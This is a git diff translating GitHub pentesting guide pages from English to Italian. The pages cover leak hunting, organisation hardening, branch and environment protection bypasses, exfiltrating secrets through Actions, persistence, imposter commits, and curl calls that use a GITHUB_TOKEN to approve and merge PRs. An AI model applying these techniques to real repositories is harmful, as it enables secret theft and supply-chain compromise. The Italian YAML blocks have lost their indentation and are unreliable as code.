-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+Nel caso tu conosca l'**utente, il repo o l'organizzazione che vuoi targetizzare**, puoi usare **github dorks** per trovare informazioni sensibili o cercare **leak di informazioni sensibili** **in ogni repo**.
### Github Dorks
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Github consente di **cercare qualcosa specificando come ambito un utente, un repo o un'organizzazione**. Pertanto, con un elenco di stringhe che appariranno vicino a informazioni sensibili, puoi facilmente **cercare potenziali informazioni sensibili nel tuo obiettivo**.
-Tools (each tool contains its list of dorks):
+Strumenti (ogni strumento contiene il proprio elenco di dorks):
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Elenco Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Elenco Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Elenco Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che **scaricheranno ogni repo e cercheranno informazioni sensibili in essi** (controllando anche una certa profondità di commit).
-Tools (each tool contains its list of regexes):
+Strumenti (ogni strumento contiene il proprio elenco di regex):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> Quando cerchi leak in un repo e esegui qualcosa come `git log -p` non dimenticare che potrebbero esserci **altri rami con altri commit** contenenti segreti!
-### External Forks
+### Fork esterni
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+È possibile **compromettere i repo abusando delle pull request**. Per sapere se un repo è vulnerabile, è principalmente necessario leggere le configurazioni yaml delle Github Actions. [**Ulteriori informazioni su questo di seguito**](./#execution-from-a-external-fork).
-### Github Leaks in deleted/internal forks
+### Github Leaks in fork eliminati/interni
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+Anche se eliminati o interni, potrebbe essere possibile ottenere dati sensibili dai fork dei repository di github. Controllalo qui:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
-## Organization Hardening
+## Indurimento dell'organizzazione
-### Member Privileges
+### Privilegi dei membri
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+Ci sono alcuni **privilegi predefiniti** che possono essere assegnati ai **membri** dell'organizzazione. Questi possono essere controllati dalla pagina `https://github.com/organizations//settings/member_privileges` o dall' [**API delle organizzazioni**](https://docs.github.com/en/rest/orgs/orgs).
-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **Permessi di base**: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si consiglia di impostare **Nessuno** o **Leggi**.
+- **Forking dei repository**: Se non necessario, è meglio **non consentire** ai membri di forkare i repository dell'organizzazione.
+- **Creazione di pagine**: Se non necessario, è meglio **non consentire** ai membri di pubblicare pagine dai repo dell'organizzazione. Se necessario, puoi consentire di creare pagine pubbliche o private.
+- **Richieste di accesso all'integrazione**: Con questo abilitato, i collaboratori esterni potranno richiedere l'accesso per le app GitHub o OAuth per accedere a questa organizzazione e alle sue risorse. È solitamente necessario, ma se non lo è, è meglio disabilitarlo.
+- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
+- **Cambio di visibilità del repository**: Se abilitato, i **membri** con permessi **amministrativi** per il **repository** potranno **cambiare la sua visibilità**. Se disabilitato, solo i proprietari dell'organizzazione possono cambiare le visibilità dei repository. Se **non** vuoi che le persone rendano le cose **pubbliche**, assicurati che questo sia **disabilitato**.
+- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
+- **Cancellazione e trasferimento del repository**: Se abilitato, i membri con permessi **amministrativi** per il repository potranno **cancellare** o **trasferire** **repository** pubblici e privati.
+- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
+- **Consentire ai membri di creare team**: Se abilitato, qualsiasi **membro** dell'organizzazione potrà **creare** nuovi **team**. Se disabilitato, solo i proprietari dell'organizzazione possono creare nuovi team. È meglio avere questo disabilitato.
+- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
+- **Altre cose possono essere configurate** in questa pagina, ma le precedenti sono quelle più legate alla sicurezza.
-### Actions Settings
+### Impostazioni delle azioni
-Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`.
+Diverse impostazioni relative alla sicurezza possono essere configurate per le azioni dalla pagina `https://github.com/organizations//settings/actions`.
> [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> Nota che tutte queste configurazioni possono anche essere impostate su ciascun repository in modo indipendente
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Politiche delle azioni di Github**: Ti consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si consiglia di **specificare quali repository** dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite.
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Flussi di lavoro delle pull request forkate da collaboratori esterni**: Si consiglia di **richiedere approvazione per tutti** i collaboratori esterni.
+- _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_
+- **Esegui flussi di lavoro da pull request forkate**: È **fortemente sconsigliato eseguire flussi di lavoro da pull request** poiché i manutentori dell'origine del fork avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente.
+- _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_
+- **Permessi dei flussi di lavoro**: È altamente consigliato **fornire solo permessi di lettura sui repository**. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per i flussi di lavoro in esecuzione.
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
-### Integrations
+### Integrazioni
-_Let me know if you know the API endpoint to access this info!_
+_Fammi sapere se conosci l'endpoint API per accedere a queste informazioni!_
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Politica di accesso alle applicazioni di terze parti**: Si consiglia di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate).
+- **App GitHub installate**: Si consiglia di consentire solo quelle necessarie (dopo averle esaminate).
-## Recon & Attacks abusing credentials
+## Ricognizione e attacchi abusando delle credenziali
-For this scenario we are going to suppose that you have obtained some access to a github account.
+Per questo scenario supponiamo che tu abbia ottenuto un accesso a un account github.
-### With User Credentials
+### Con le credenziali dell'utente
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+Se in qualche modo hai già le credenziali per un utente all'interno di un'organizzazione, puoi **solo accedere** e controllare quali **ruoli aziendali e di organizzazione hai**, se sei un membro normale, controlla quali **permessi hanno i membri normali**, in quali **gruppi** sei, quali **permessi hai** su quali **repo** e **come sono protetti i repo**.
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Nota che **2FA potrebbe essere utilizzato**, quindi potrai accedere a queste informazioni solo se puoi anche **superare quel controllo**.
> [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Nota che se **riesci a rubare il cookie `user_session`** (attualmente configurato con SameSite: Lax) puoi **completamente impersonare l'utente** senza bisogno di credenziali o 2FA.
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+Controlla la sezione qui sotto riguardo ai [**bypass delle protezioni dei rami**](./#branch-protection-bypass) nel caso possa essere utile.
-### With User SSH Key
+### Con la chiave SSH dell'utente
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Github consente agli **utenti** di impostare **chiavi SSH** che verranno utilizzate come **metodo di autenticazione per distribuire codice** per loro conto (non viene applicata 2FA).
+Con questa chiave puoi effettuare **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repo e sull'utente a cui hai accesso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Se l'utente ha configurato il proprio nome utente come il suo nome utente github, puoi accedere alle **chiavi pubbliche che ha impostato** nel suo account in _https://github.com/\.keys_, puoi controllare questo per confermare che la chiave privata che hai trovato può essere utilizzata.
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+Le **chiavi SSH** possono anche essere impostate nei repository come **chiavi di distribuzione**. Chiunque abbia accesso a questa chiave sarà in grado di **lanciare progetti da un repository**. Di solito, in un server con diverse chiavi di distribuzione, il file locale **`~/.ssh/config`** ti darà informazioni su quale chiave è correlata.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Chiavi GPG
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Come spiegato [**qui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), a volte è necessario firmare i commit o potresti essere scoperto.
+Controlla localmente se l'utente corrente ha qualche chiave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Con Token Utente
-### With User Token
+Per un'introduzione sui [**Token Utente controlla le informazioni di base**](basic-github-information.md#personal-access-tokens).
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+Un token utente può essere utilizzato **invece di una password** per Git su HTTPS, o può essere utilizzato per [**autenticarsi all'API tramite Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). A seconda dei privilegi ad esso associati, potresti essere in grado di eseguire diverse azioni.
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+Un token utente appare così: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+### Con Applicazione Oauth
-### With Oauth Application
+Per un'introduzione sulle [**Applicazioni Oauth di Github controlla le informazioni di base**](basic-github-information.md#oauth-applications).
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+Un attaccante potrebbe creare un'**Applicazione Oauth malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Questi sono i [scope che un'applicazione Oauth può richiedere](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utente dovrebbe sempre controllare gli scope richiesti prima di accettarli.
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repos/azioni relative all'organizzazione.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+### Con Applicazione Github
-### With Github Application
+Per un'introduzione sulle [**Applicazioni Github controlla le informazioni di base**](basic-github-information.md#github-applications).
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+Un attaccante potrebbe creare un'**Applicazione Github malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repos/azioni relative all'organizzazione.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+## Compromissione & Abuso di Github Action
-## Compromise & Abuse Github Action
-
-There are several techniques to compromise and abuse a Github Action, check them here:
+Ci sono diverse tecniche per compromettere e abusare di una Github Action, controllale qui:
{{#ref}}
abusing-github-actions/
{{#endref}}
-## Branch Protection Bypass
+## Bypass della Protezione dei Branch
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Richiedere un numero di approvazioni**: Se hai compromesso diversi account, potresti semplicemente accettare le tue PR da altri account. Se hai solo l'account da cui hai creato la PR, non puoi accettare la tua PR. Tuttavia, se hai accesso a un **ambiente Github Action** all'interno del repo, utilizzando il **GITHUB_TOKEN** potresti essere in grado di **approvare la tua PR** e ottenere 1 approvazione in questo modo.
+- _Nota per questo e per la restrizione dei Code Owners che di solito un utente non sarà in grado di approvare le proprie PR, ma se lo sei, puoi abusarne per accettare le tue PR._
+- **Annullare le approvazioni quando vengono inviati nuovi commit**: Se questo non è impostato, puoi inviare codice legittimo, aspettare che qualcuno lo approvi e poi inserire codice malevolo e unirlo nel branch protetto.
+- **Richiedere revisioni dai Code Owners**: Se questo è attivato e sei un Code Owner, potresti far sì che una **Github Action crei la tua PR e poi approvarla tu stesso**.
+- Quando un **file CODEOWNER è configurato in modo errato**, Github non si lamenta ma non lo utilizza. Pertanto, se è configurato in modo errato, **la protezione dei Code Owners non viene applicata.**
+- **Consentire a attori specificati di bypassare i requisiti delle pull request**: Se sei uno di questi attori, puoi bypassare le protezioni delle pull request.
+- **Includere gli amministratori**: Se questo non è impostato e sei un amministratore del repo, puoi bypassare queste protezioni del branch.
+- **Hijacking delle PR**: Potresti essere in grado di **modificare la PR di qualcun altro** aggiungendo codice malevolo, approvando la PR risultante tu stesso e unendo tutto.
+- **Rimozione delle Protezioni dei Branch**: Se sei un **amministratore del repo puoi disabilitare le protezioni**, unire la tua PR e ripristinare le protezioni.
+- **Bypass delle protezioni di push**: Se un repo **consente solo a determinati utenti** di inviare push (unire codice) nei branch (la protezione del branch potrebbe proteggere tutti i branch specificando il carattere jolly `*`).
+- Se hai **accesso in scrittura sul repo ma non ti è permesso inviare codice** a causa della protezione del branch, puoi comunque **creare un nuovo branch** e al suo interno creare una **github action che viene attivata quando viene inviato codice**. Poiché **la protezione del branch non proteggerà il branch fino a quando non sarà creato**, questo primo push di codice nel branch **eseguirà la github action**.
-## Bypass Environments Protections
+## Bypass delle Protezioni degli Ambienti
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+Per un'introduzione sulle [**Ambientazioni di Github controlla le informazioni di base**](basic-github-information.md#git-environments).
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+Nel caso in cui un ambiente possa essere **accessibile da tutti i branch**, **non è protetto** e puoi facilmente accedere ai segreti all'interno dell'ambiente. Nota che potresti trovare repo in cui **tutti i branch sono protetti** (specificando i loro nomi o utilizzando `*`), in quel caso, **trova un branch dove puoi inviare codice** e puoi **esfiltrare** i segreti creando una nuova github action (o modificandone una).
+Nota che potresti trovare il caso limite in cui **tutti i branch sono protetti** (via carattere jolly `*`) è specificato **chi può inviare codice ai branch** (_puoi specificarlo nella protezione del branch_) e **il tuo utente non è autorizzato**. Puoi comunque eseguire una github action personalizzata perché puoi creare un branch e utilizzare il trigger di push su se stesso. La **protezione del branch consente il push a un nuovo branch quindi la github action verrà attivata**.
```yaml
push: # Run it when a push is made to a branch
- branches:
- - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
```
+Nota che **dopo la creazione** del branch, la **protezione del branch si applicherà al nuovo branch** e non sarai in grado di modificarlo, ma per quel momento avrai già estratto i segreti.
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## Persistenza
-## Persistence
+- Genera **user token**
+- Ruba **github tokens** da **secrets**
+- **Cancellazione** dei **risultati** del workflow e dei **branch**
+- Dai **più permessi a tutta l'org**
+- Crea **webhook** per esfiltrare informazioni
+- Invita **collaboratori esterni**
+- **Rimuovi** i **webhook** utilizzati dal **SIEM**
+- Crea/modifica **Github Action** con una **backdoor**
+- Trova **Github Action vulnerabili a command injection** tramite modifica del valore **secret**
-- Generate **user token**
-- Steal **github tokens** from **secrets**
- - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### Imposter Commits - Backdoor tramite commit del repo
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+In Github è possibile **creare una PR per un repo da un fork**. Anche se la PR non viene **accettata**, un **commit** id all'interno del repo originale verrà creato per la versione fork del codice. Pertanto, un attaccante **potrebbe fare riferimento a un commit specifico da un repo apparentemente legittimo che non è stato creato dal proprietario del repo**.
+Come [**questo**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
- commit:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- - shell: bash
- run: |
- echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+Per ulteriori informazioni controlla [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..e0a509a64 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,381 +4,363 @@
## Basic Information
-In this page you will find:
+In questa pagina troverai:
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
- - Having **permissions** to create the action
- - Abusing **pull request** related triggers
- - Abusing **other external access** techniques
- - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a un'azione Github
+- Diversi modi per **ottenere accesso a un'azione**:
+- Avere **permessi** per creare l'azione
+- Abusare dei trigger relativi alle **pull request**
+- Abusare di **altre tecniche di accesso esterno**
+- **Pivotare** da un repository già compromesso
+- Infine, una sezione sulle **tecniche di post-sfruttamento per abusare di un'azione dall'interno** (causando gli impatti menzionati)
## Impacts Summary
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Per un'introduzione su [**Github Actions controlla le informazioni di base**](../basic-github-information.md#github-actions).
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di:
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- **Rubare segreti** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
+- **Compromettere distribuzioni** e altri **artifacts**.
+- Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla supply chain.
+- **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare verso altri sistemi.
+- **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`.
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+Questo "**segreto**" (proveniente da `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) viene fornito quando l'amministratore abilita questa opzione:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Questo token è lo stesso che una **Github Application utilizzerà**, quindi può accedere agli stessi endpoint: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github dovrebbe rilasciare un [**flusso**](https://github.com/github/roadmap/issues/74) che **consente l'accesso cross-repository** all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il `GITHUB_TOKEN`.
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Nota che il token **scade dopo il completamento del lavoro**.\
+Questi token assomigliano a questo: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+Alcune cose interessanti che puoi fare con questo token:
{{#tabs }}
{{#tab name="Merge PR" }}
-
```bash
# Merge PR
curl -X PUT \
- https://api.github.com/repos///pulls//merge \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header "content-type: application/json" \
- -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos///pulls//merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
```
-
{{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="Approva PR" }}
```bash
# Approve a PR
curl -X POST \
- https://api.github.com/repos///pulls//reviews \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- -d '{"event":"APPROVE"}'
+https://api.github.com/repos///pulls//reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
```
-
{{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="Crea PR" }}
```bash
# Create a PR
curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- https://api.github.com/repos///pulls \
- -d '{"head":"","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos///pulls \
+-d '{"head":"","base":"master", "title":"title"}'
```
-
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
